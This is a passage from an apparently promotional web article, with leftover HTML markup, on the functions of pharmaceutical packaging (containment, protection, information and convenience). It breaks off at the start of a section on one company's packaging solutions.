Hence,      pharma packaging should not leak, not allow diffusion and permeation of      the product, be strong enough to hold the contents when subjected to      general handling, and should not be altered by the pharmaceutical      ingredients in the final dosage form.<\/li><li><strong>Protection:<\/strong>      Pharma packaging should protect the product from all undesirable external      influences that may have an effect on the quality, efficacy or potency.      Some adverse external factors include light, moisture, oxygen, biological      contaminants, physical damage and adulteration.<\/li><li><strong>Information:<\/strong>      The labels and package inserts in pharma packaging are an essential source      of information on medicinal products for patients.<\/li><li><strong>Convenience:<\/strong>      The packaging must be convenient to use, open and store the pharma      products.<\/li><\/ol>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Nichrome\u2019s Integrated Pharma\nPackaging Solutions<\/strong><\/h2>\n\n\n\n<p>Tablets and capsules are the most popular forms of oral medicine.
